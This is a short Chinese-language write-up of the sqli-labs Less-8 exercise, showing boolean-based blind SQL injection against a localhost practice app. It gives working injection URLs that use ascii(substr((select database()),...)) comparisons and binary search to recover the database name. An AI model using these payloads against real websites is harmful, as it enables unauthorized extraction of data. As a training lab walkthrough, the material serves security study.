【sqli-labs】 less8 GET - Blind - Boolian Based - Single Quotes (基于布尔的单引号GET盲注)

加单引号 没有任何信息输出

加and 页面变化，不正常是没有任何回显

http://localhost/sqli/Less-8/?id=1' and '1'='1

http://localhost/sqli/Less-8/?id=1' and '1'='2

出错也没有回显，考虑盲注，即通过不同请求页面的变化来作出判断

首先学习几个函数

length(str) 返回字符串的长度

if(a, b, c) 若条件a为真，返回b，否则返回c

substr(str, pos, len) 从pos位置起截取str字符串len长度的子串并返回

pos从1起

ascii(str) 返回str第一个字符的ascii码

常用的ascii

0~9           48~57

A~Z          65~90

a~z           97~122

开始猜解数据库名

数据库名的第一个字符的ascii码值大于64，页面就正常

http://localhost/sqli/Less-8/?id=1' and ascii(substr((select database()),1,1))>64%23  

http://localhost/sqli/Less-8/?id=1' and ascii(substr((select database()),1,1))>96%23  

http://localhost/sqli/Less-8/?id=1' and ascii(substr((select database()),1,1))<123%23  

可以判断第一个字符为小写英文字母

利用二分法

则第一个字符为ascii码为115的字符，即 's'

第二个字符ascii码101，即字符 'e'

知道原理后可以写一个脚本完成猜解工作

数据库名为security